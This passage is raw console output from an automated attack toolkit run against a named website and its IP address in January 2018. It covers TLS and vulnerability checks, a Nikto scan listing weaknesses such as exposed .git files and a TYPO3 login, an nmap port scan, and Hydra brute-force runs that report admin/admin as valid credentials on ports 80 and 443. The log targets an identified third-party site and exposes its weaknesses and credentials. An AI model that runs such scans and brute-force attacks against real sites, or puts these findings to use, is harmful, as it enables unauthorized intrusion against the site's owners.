 x35     AES256-SHA                        RSA        AES         256      TLS_RSA_WITH_AES_256_CBC_SHA
 x84     CAMELLIA256-SHA                   RSA        Camellia    256      TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
 xc02f   ECDHE-RSA-AES128-GCM-SHA256       ECDH 256   AESGCM      128      TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
 xc027   ECDHE-RSA-AES128-SHA256           ECDH 256   AES         128      TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
 xc013   ECDHE-RSA-AES128-SHA              ECDH 256   AES         128      TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
 x9c     AES128-GCM-SHA256                 RSA        AESGCM      128      TLS_RSA_WITH_AES_128_GCM_SHA256
 x3c     AES128-SHA256                     RSA        AES         128      TLS_RSA_WITH_AES_128_CBC_SHA256
 x2f     AES128-SHA                        RSA        AES         128      TLS_RSA_WITH_AES_128_CBC_SHA
 x41     CAMELLIA128-SHA                   RSA        Camellia    128      TLS_RSA_WITH_CAMELLIA_128_CBC_SHA


 Running client simulations via sockets 

 Android 2.3.7                TLSv1.0 AES128-SHA
 Android 4.1.1                TLSv1.0 ECDHE-RSA-AES256-SHA, 256 bit ECDH (P-256)
 Android 4.3                  TLSv1.0 ECDHE-RSA-AES256-SHA, 256 bit ECDH (P-256)
 Android 4.4.2                TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 Android 5.0.0                TLSv1.2 ECDHE-RSA-AES256-SHA, 256 bit ECDH (P-256)
 Android 6.0                  TLSv1.2 ECDHE-RSA-AES256-SHA, 256 bit ECDH (P-256)
 Android 7.0                  TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 Chrome 51 Win 7              TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 Chrome 57 Win 7              TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 Firefox 49 Win 7             TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 Firefox 53 Win 7             TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 IE 6 XP                      No connection
 IE 7 Vista                   TLSv1.0 ECDHE-RSA-AES256-SHA, 256 bit ECDH (P-256)
 IE 8 XP                      No connection
 IE 8 Win 7                   TLSv1.0 ECDHE-RSA-AES256-SHA, 256 bit ECDH (P-256)
 IE 11 Win 7                  TLSv1.2 ECDHE-RSA-AES256-SHA384, 256 bit ECDH (P-256)
 IE 11 Win 8.1                TLSv1.2 ECDHE-RSA-AES256-SHA384, 256 bit ECDH (P-256)
 IE 11 Win Phone 8.1 Update   TLSv1.2 ECDHE-RSA-AES256-SHA384, 256 bit ECDH (P-256)
 IE 11 Win 10                 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 Edge 13 Win 10               TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 Edge 13 Win Phone 10         TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 Opera 17 Win 7               TLSv1.2 ECDHE-RSA-AES256-SHA, 256 bit ECDH (P-256)
 Safari 5.1.9 OS X 10.6.8     TLSv1.0 ECDHE-RSA-AES256-SHA, 256 bit ECDH (P-256)
 Safari 7 iOS 7.1             TLSv1.2 ECDHE-RSA-AES256-SHA384, 256 bit ECDH (P-256)
 Safari 9 OS X 10.11          TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 Safari 10 OS X 10.12         TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 Apple ATS 9 iOS 9            TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 Tor 17.0.9 Win 7             TLSv1.0 ECDHE-RSA-AES256-SHA, 256 bit ECDH (P-256)
 Java 6u45                    TLSv1.0 AES128-SHA
 Java 7u25                    TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
 Java 8u31                    TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 OpenSSL 1.0.1l               TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 OpenSSL 1.0.2e               TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)

+ -- --=[MÄŚŚBĻËËĐ V20160303 BŸ 1Ņ3 @ ĊŖÖŴĐŚȞÏËĻĐ - https://crowdshield.com
+ -- --=[Checking for DROWN (SSLv2): 51.254.204.201:443
+ -- --=[Checking for HeartBleed: 51.254.204.201:443
+ -- --=[Checking for OpenSSL CCS: 51.254.204.201:443
+ -- --=[Checking for Poodle (SSLv3): 51.254.204.201:443
+ -- --=[Checking for WinShock (MS14-066): 51.254.204.201:443
Testing if OpenSSL supports the ciphers we are checking for: YES

Testing 51.254.204.201:443 for availability of SSL ciphers added in MS14-066...
Testing cipher DHE-RSA-AES256-GCM-SHA384: UNSUPPORTED
Testing cipher DHE-RSA-AES128-GCM-SHA256: UNSUPPORTED
Testing cipher AES256-GCM-SHA384: SUPPORTED
Testing cipher AES128-GCM-SHA256: SUPPORTED
Testing if IIS is running on port 443: NO
Checking if target system is running Windows Server 2012 or later...
Testing cipher ECDHE-RSA-AES256-SHA384: SUPPORTED
51.254.204.201:443 is patched: UNKNOWN: Windows Server 2012 or later detected.
+ -- --=[Scan Complete!
 + -- ----------------------------=[Checking HTTP Headers]=------------------- -- +
+ -- --=[Checking if X-Content options are enabled on gldf.org... 

+ -- --=[Checking if X-Frame options are enabled on gldf.org... 

+ -- --=[Checking if X-XSS-Protection header is enabled on gldf.org... 

+ -- --=[Checking HTTP methods on gldf.org... 

+ -- --=[Checking if TRACE method is enabled on gldf.org... 

+ -- --=[Checking for META tags on gldf.org... 

+ -- --=[Checking for open proxy on gldf.org... 

+ -- --=[Enumerating software on gldf.org... 
Server: Apache/2.2.22 (Debian)

+ -- --=[Checking if Strict-Transport-Security is enabled on gldf.org... 

+ -- --=[Checking for Flash cross-domain policy on gldf.org... 
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at www.gldf.org Port 443</address>
</body></html>


+ -- --=[Checking for Silverlight cross-domain policy on gldf.org... 
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at www.gldf.org Port 443</address>
</body></html>


+ -- --=[Checking for HTML5 cross-origin resource sharing on gldf.org... 

+ -- --=[Retrieving robots.txt on gldf.org... 

User-agent: *
Allow: /                                      # Allow bot to enter

Disallow: /fileadmin/                         # Nothing to see here
Disallow: /t3lib/                             # Nothing to see here
Disallow: /typo3/                             # Nothing to see here
Disallow: /*&type=98                          # Disable print pages

Sitemap: https://www.gldf.org/sitemap.xml   # Your Sitemap

+ -- --=[Retrieving sitemap.xml on gldf.org... 

+ -- --=[Checking cookie attributes on gldf.org... 

+ -- --=[Checking for ASP.NET Detailed Errors on gldf.org... 


 + -- ----------------------------=[Running Web Vulnerability Scan]=---------- -- +
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          51.254.204.201
+ Target Hostname:    gldf.org
+ Target Port:        443
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /CN=www.gldf.org
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=US/O=GeoTrust Inc./CN=RapidSSL SHA256 CA
+ Start Time:         2018-01-05 17:20:54 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: https://www.gldf.org/
+ Server leaks inodes via ETags, header found with file /robots.txt, inode: 84820, size: 428, mtime: Wed Dec  7 12:05:00 2016
+ Entry '/                                      /' in robots.txt returned a non-forbidden or redirect HTTP code (301)
+ Cookie be_typo_user created without the secure flag
+ Cookie PHPSESSID created without the secure flag
+ Cookie PHPSESSID created without the httponly flag
+ Entry '/typo3/                             /' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 5 entries which should be manually viewed.
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack.
+ Hostname 'gldf.org' does not match certificate's names: www.gldf.org
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /typo3/: TYPO3 login found
+ OSVDB-3092: /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ OSVDB-3093: /typo3_src/ChangeLog: TYPO3 ChangeLog file found.
+ 8318 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time:           2018-01-05 18:35:07 (GMT-5) (4453 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
 + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +
[+] Screenshot saved to /usr/share/sniper/loot/screenshots/gldf.org-port443.jpg

#########################################################################################
  oooooo   oooo       .o.        .oooooo..o ooooo     ooo   .oooooo.
   `888.   .8'       .888.      d8P'    `Y8 `888'     `8'  d8P'  `Y8b
    `888. .8'       .88888.     Y88bo.       888       8  888      888
     `888.8'       .8' `888.     `ZY8888o.   888       8  888      888
      `888'       .88ooo8888.        `0Y88b  888       8  888      888
       888       .8'     `888.  oo     .d8P  `88.    .8'  `88b    d88'
      o888o     o88o     o8888o 88888888P'     `YbodP'     `Y8bood8P'
Welcome to Yasuo v2.3
Author: Saurabh Harit (@0xsauby) | Contribution & Coolness: Stephen Hall (@logicalsec)
#########################################################################################

I, [2018-01-05T18:36:37.315840 #20171]  INFO -- : Initiating port scan
I, [2018-01-05T18:37:00.243182 #20171]  INFO -- : Using nmap scan output file logs/nmap_output_2018-01-05_18-36-37.xml
I, [2018-01-05T18:37:00.244504 #20171]  INFO -- : Discovered open port: 51.254.204.201:80
I, [2018-01-05T18:37:01.373989 #20171]  INFO -- : Discovered open port: 51.254.204.201:443
I, [2018-01-05T18:37:02.913686 #20171]  INFO -- : <<<Enumerating vulnerable applications>>>


--------------------------------------------------------
<<<Yasuo discovered following vulnerable applications>>>
--------------------------------------------------------
+----------+--------------------+-------------------+----------+----------+
| App Name | URL to Application | Potential Exploit | Username | Password |
+----------+--------------------+-------------------+----------+----------+
+----------+--------------------+-------------------+----------+----------+
 + -- ----------------------------=[Skipping Full NMap Port Scan]=------------ -- +
 + -- ----------------------------=[Running Brute Force]=--------------------- -- +
 __________                __         ____  ___
 \______   \_______ __ ___/  |_  ____ \   \/  /
  |    |  _/\_  __ \  |  \   __\/ __ \ \     / 
  |    |   \ |  | \/  |  /|  | \  ___/ /     \ 
  |______  / |__|  |____/ |__|  \___  >___/\  \ 
         \/                         \/      \_/

 + -- --=[BruteX v1.7 by 1N3
 + -- --=[http://crowdshield.com


################################### Running Port Scan ##############################

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-05 18:39 EST
Nmap scan report for gldf.org (51.254.204.201)
Host is up (0.11s latency).
rDNS record for 51.254.204.201: 201.ip-51-254-204.eu
Not shown: 24 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 2.90 seconds

################################### Running Brute Force ############################


 + -- --=[Port 80 opened... running tests...
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-01-05 18:39:55
[DATA] max 1 task per 1 server, overall 1 task, 1496 login tries (l:34/p:44), ~1496 tries per task
[DATA] attacking http-get://gldf.org:80//
[80][http-get] host: gldf.org   login: admin   password: admin
[STATUS] attack finished for gldf.org (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-01-05 18:40:05

 + -- --=[Port 443 opened... running tests...
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-01-05 18:40:05
[DATA] max 1 task per 1 server, overall 1 task, 1496 login tries (l:34/p:44), ~1496 tries per task
[DATA] attacking http-gets://gldf.org:443//
[443][http-get] host: gldf.org   login: admin   password: admin
[STATUS] attack finished for gldf.org (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-01-05 18:40:06

#######################################################################################################################################